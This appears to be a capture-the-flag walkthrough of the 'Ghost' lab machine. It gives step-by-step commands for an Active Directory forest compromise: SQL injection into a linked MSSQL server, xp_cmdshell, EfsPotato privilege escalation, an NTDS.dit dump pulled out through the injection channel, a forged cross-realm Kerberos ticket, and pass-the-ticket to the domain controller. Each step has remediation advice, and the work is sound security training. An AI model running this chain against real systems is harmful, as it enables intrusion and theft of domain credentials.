← all walkthroughs

Ghost

Windows· Insane· Web
owned
2026-09-07
time to own
1h1m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Ghost domain controller exposed an internal 'Ghost Core' administration panel on 8443 whose SQL diagnostic feature accepted my own T-SQL. That injection point was used to hop across a configured MSSQL linked server into the child domain's SQL Server, impersonate the sa login, and enable xp_cmdshell — giving OS command execution on the linked host.

From that foothold, EfsPotato was used to abuse SeImpersonatePrivilege and obtain a SYSTEM-equivalent token on the SQL Server host, which was then used to trigger an NTDS Install-From-Media snapshot of the child domain, exfiltrating NTDS.dit and the SYSTEM hive back out through the same injection channel. Parsing that data recovered the GHOST$ inter-realm trust key and the child domain's SID, which were used to forge a cross-realm Kerberos ticket carrying the parent domain's Enterprise Admins SID.

The parent domain controller (DC01) honored that ticket as Administrator, giving full SMB/CIFS access and allowing root.txt to be pulled directly from the Administrator's desktop — full forest compromise from the database tier upwards. The session that reaches that tier is where this account begins: the Ghost Core admin panel was already authenticated when these steps run, so what follows is the escalation rather than the way in.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"

Some commands also carry a value in angle brackets — <its-password>, <the-panel-account>, <trust_key_nthash> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration
Mapped the Active Directory environment and discovered the Ghost Core admin panel
A full port sweep revealed a complete Windows AD stack (Kerberos, LDAP, SMB, RPC, MSSQL, RDP, WinRM) on the target alongside two HTTP applications. Port 8008 served a static Ghost-branded front end; port 8443 hosted 'Ghost Core,' an Express-backed administrative application behind nginx that exposed a login flow and an API. Ghost Core keeps its own session: an unauthenticated request is sent to /login, and /api/login is what issues a cookie. Everything after this runs inside that session. Ghost Core keeps its own session: an unauthenticated request is sent to /login, and /api/login is what issues a cookie. Everything after this runs inside that session.
Nmap identified 1433/tcp Microsoft SQL Server 2022, 88/kerberos, 389/636/3268/3269 LDAP, 445/smb alongside nginx 1.18.0 on 8008/8443; curl confirmed 'Ghost Core' at :8443 with an /api/login endpoint.
Exact commands 4
shell

Full TCP port and service-version sweep.

$ nmap -sC -sV -p- $TARGET
shell

Identify the Ghost Core admin application behind nginx.

$ curl -ksS -L --max-time 15 --max-redirs 5 -D - https://$TARGET:8443/
shell

Confirm the authentication endpoint exposed by the app.

$ curl -ksS -L --max-time 10 --max-redirs 3 https://$TARGET:8443/api/login
shell

The cookie jar every request below reads from. Without it they land on the login page instead of the debugger.

$ curl -sk --resolve core.ghost.htb:8443:$TARGET -c /tmp/core.cookies -X POST https://core.ghost.htb:8443/api/login -H 'Content-Type: application/json' --data '{"username":"<the-panel-account>","password":"<its-password>"}'
2ExploitationSQL Injection into a linked-server login chain (CWE-89)
Injected SQL through the admin panel to pivot across a linked server and impersonate sa
The Ghost Core panel passed a 'sql' parameter into a backend MSSQL query with no sanitization. Because the panel's own MSSQL login had a linked-server connection configured to the child domain's SQL Server (PRIMARY), the injected query used EXEC(...) AT [PRIMARY] to run T-SQL on that remote host and impersonated the sa login there, then enabled xp_cmdshell to gain OS command execution.
POST to https://core.ghost.htb:8443/ with sql=EXEC ('EXECUTE AS LOGIN = ''sa''; EXEC xp_cmdshell ...') AT [PRIMARY] executed successfully against the linked child-domain SQL Server.
Exact commands 2
shell

Enumerate linked servers reachable through the injectable sql parameter.

$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=SELECT srvname, isremote FROM master..sysservers"
shell

Cross the linked server, impersonate sa, and enable xp_cmdshell for OS command execution.

$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=EXEC ('EXECUTE AS LOGIN = ''sa''; EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE; EXEC xp_cmdshell ''whoami''') AT [PRIMARY]"
FixEliminate the SQL injection point in the Ghost Core admin panel and lock down linked serversCritical
WeaknessAn administrative debugging feature passed a raw 'sql' parameter straight into a T-SQL query, and the executing login had an unrestricted linked-server connection to the child domain's SQL Server, letting a single injection reach across domains.
FixRebuild the diagnostic feature to use parameterized queries only, or remove it from production entirely. Audit and remove unnecessary linked servers; where one is required, map the local login to a dedicated least-privilege remote account (never sa) and disable RPC/'Data Access' unless explicitly needed.
3Privilege EscalationSeImpersonatePrivilege token theft via EfsPotato (T1134)
Used EfsPotato to escalate from the SQL service account to SYSTEM
The account running xp_cmdshell held SeImpersonatePrivilege. EfsPotato, an EFS-RPC 'Potato'-family exploit, was uploaded and run through the same xp_cmdshell channel to coerce a privileged local RPC connection and duplicate its token, turning command execution as the SQL service account into NT AUTHORITY\SYSTEM on the child-domain SQL Server host. Windows Defender on that host was live but did not flag EfsPotato (unlike GodPotato), so no fileless workaround was needed for this hop.
Sql= payload ran EXEC xp_cmdshell '%TEMP%\EfsPotato.exe "cmd.exe /c whoami"' AT [PRIMARY] through the same injection channel used in step 2.
Exact commands 2
shell

Runs EfsPotato through xp_cmdshell on the linked SQL host to mint a SYSTEM token.

$ curl -sk --max-time 120 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode "sql=EXEC ('EXECUTE AS LOGIN = ''sa''; EXEC xp_cmdshell ''%TEMP%\EfsPotato.exe \"cmd.exe /c whoami\"''') AT [PRIMARY]"
shell

Compile EfsPotato from source on-target if a prebuilt binary is quarantined by Defender.

$ csc.exe /out:EfsPotato.exe EfsPotato.cs
FixDisable xp_cmdshell and harden SQL Server hosts against SeImpersonatePrivilege abuseCritical
Weaknessxp_cmdshell was enabled and reachable after impersonating sa, and the SQL Server service account retained SeImpersonatePrivilege, allowing a Potato-family exploit (EfsPotato) to mint a SYSTEM token from ordinary command execution.
FixDisable xp_cmdshell via sp_configure unless a documented business need exists, and if it must stay enabled, restrict it with a proxy account. Run the SQL Server service under a Group Managed Service Account with only the privileges the engine requires, and monitor for anomalous EFS-RPC / DCOM activation events indicative of Potato-style attacks.
4Domain Credential TheftOS Credential Dumping: NTDS via IFM snapshot (T1003.003)
Extracted NTDS.dit and the SYSTEM hive from the child domain controller
With SYSTEM-level command execution on a domain-joined SQL Server, an Install-From-Media (IFM) snapshot of the child domain was triggered, capturing NTDS.dit and the SYSTEM registry hive. The data was compressed, staged inside tempdb, and pulled back out through the same SQL injection channel for offline parsing — recovering every domain account's password hash.
Through the same injection channel, an Install-From-Media snapshot of the child domain was taken: NTDS.dit and the SYSTEM hive were captured, compressed, staged through tempdb so the archive could be read back out over SQL, and parsed offline with secretsdump.
Exact commands 3
shell

Trigger the ntdsutil IFM snapshot of NTDS.dit and the SYSTEM hive and compress it.

$ curl -sk --max-time 300 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-check-ntds-zip.sql
shell

Stage the compressed NTDS archive in tempdb so it can be read back out through the injection channel.

$ curl -sk --max-time 300 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-store-zip-tempdb.sql
shell

Parse the exfiltrated hive offline to recover every domain account's NTLM hash.

$ secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
FixIsolate Tier-0 domain controllers from application-tier SQL Servers and restrict NTDS extractionCritical
WeaknessA domain-joined SQL Server that was reachable and exploitable from a web application had sufficient rights to trigger an NTDS Install-From-Media snapshot, letting an unauthorised user dump every domain account's credentials from a non-DC host with no alerting.
FixApply AD tiering so domain controllers and their credential material are never reachable from application/database-tier hosts; restrict ntdsutil/IFM and Volume Shadow Copy operations to a small, monitored set of Domain Admin-held systems, and alert on VSS creation or NTDS.dit file access outside of maintenance windows.
5Trust AbuseCross-realm forged Kerberos ticket abusing a domain trust (T1558.001)
Stole the inter-realm trust key and forged a cross-realm Kerberos ticket
The recovered domain secrets included the GHOST$ inter-realm trust account used for the bidirectional trust between corp.ghost.htb and the parent ghost.htb. Its key, together with the child domain's SID, was used to forge a Kerberos ticket that added the parent domain's Enterprise Admins group SID as an ExtraSID — a cross-realm privilege-escalation forgery that the parent domain's KDC has no way to distinguish from a legitimate trust referral.
Secretsdump over the extracted NTDS.dit yielded the inter-realm trust key for the child-to-parent trust, and a forged inter-realm TGT carrying the parent's Enterprise Admins SID was accepted by the ghost.htb KDC, which issued service tickets against dc01.ghost.htb from it.
Exact commands 4
shell

Query AD for the GHOST$ inter-realm trust account via the SYSTEM-level channel.

$ curl -sk --max-time 180 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-query-trust.sql
shell

Retrieve the child domain SID needed to add Enterprise Admins as an ExtraSID.

$ curl -sk --max-time 180 --resolve core.ghost.htb:8443:$TARGET -b /tmp/core.cookies -X POST https://core.ghost.htb:8443/ --data-urlencode sql@/tmp/sql-child-sid.sql
shell

Forge a cross-realm TGT using the stolen inter-realm trust key, granting Enterprise Admins rights in the parent domain.

$ impacket-ticketer -nthash <trust_key_nthash> -domain-sid <CHILD_DOMAIN_SID> -extra-sid <PARENT_ENTERPRISE_ADMINS_SID>-519 -spn krbtgt/ghost.htb Administrator
shell

The forged TGT buys service tickets. This is the one the next step uses, written to cifs.ccache.

$ KRB5CCNAME=/tmp/ghost-ticket/trust.ccache impacket-getST -k -no-pass -spn cifs/dc01.ghost.htb -dc-ip $TARGET 'ghost.htb/Administrator'
FixProtect the inter-domain trust key and enable SID filtering across the trustCritical
WeaknessThe GHOST$ inter-realm trust key was recoverable once the child domain's directory database was dumped, and the parent domain accepted a forged ticket carrying an ExtraSID for its own Enterprise Admins group, meaning a full compromise of the child domain translated directly into full compromise of the parent forest.
FixEnable SID filtering (or selective authentication) on the trust so SIDs from the child domain outside its own namespace are stripped by the parent DC, rotate the trust password regularly, and tightly restrict/monitor 'Replicating Directory Changes' (DCSync) rights in both domains.
6Full Domain CompromisePass-the-Ticket over SMB/CIFS (T1550.003)
Used the forged trust ticket to authenticate to DC01 as Administrator and read root.txt
The service ticket the forged TGT bought is for CIFS on the real domain controller, dc01.ghost.htb, which is what SMB asks for. Netexec confirmed the ticket authenticated as CORP.GHOST.HTB\Administrator with full administrative access ('Pwn3d!'), and the C$ share was mounted to retrieve root.txt directly from the Administrator's desktop.
Netexec printed 'SMB $TARGET 445 DC01 [+] CORP.GHOST.HTB\Administrator from ccache (Pwn3d!)'; impacket-smbclient retrieved root.txt from C$\Users\Administrator\Desktop.
Exact commands 3
shell

Confirm the ticket grants full administrative SMB access to the parent DC.

$ netexec smb dc01.ghost.htb -k --use-kcache
shell

Build an smbclient batch file targeting the Administrator desktop.

$ printf 'use C$\ncd Users\\Administrator\\Desktop\nget root.txt\nexit\n' > /tmp/get-root.smb
shell

Authenticate with the Kerberos ccache and pull root.txt; replace the captured value with <root.txt>.

$ KRB5CCNAME=/tmp/ghost-ticket/cifs.ccache impacket-smbclient -k -no-pass -inputfile /tmp/get-root.smb dc01.ghost.htb

Attack patterns used

The transferable techniques behind this compromise.

SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
443/tcp
445/tcp
464/tcp
593/tcp
636/tcp
1433/tcp
2179/tcp
3268/tcp
3269/tcp
3389/tcp
5985/tcp
8008/tcp
8443/tcp
9389/tcp
49443/tcp
49664/tcp
49672/tcp
49679/tcp
58374/tcp
63057/tcp
63108/tcp
53/udp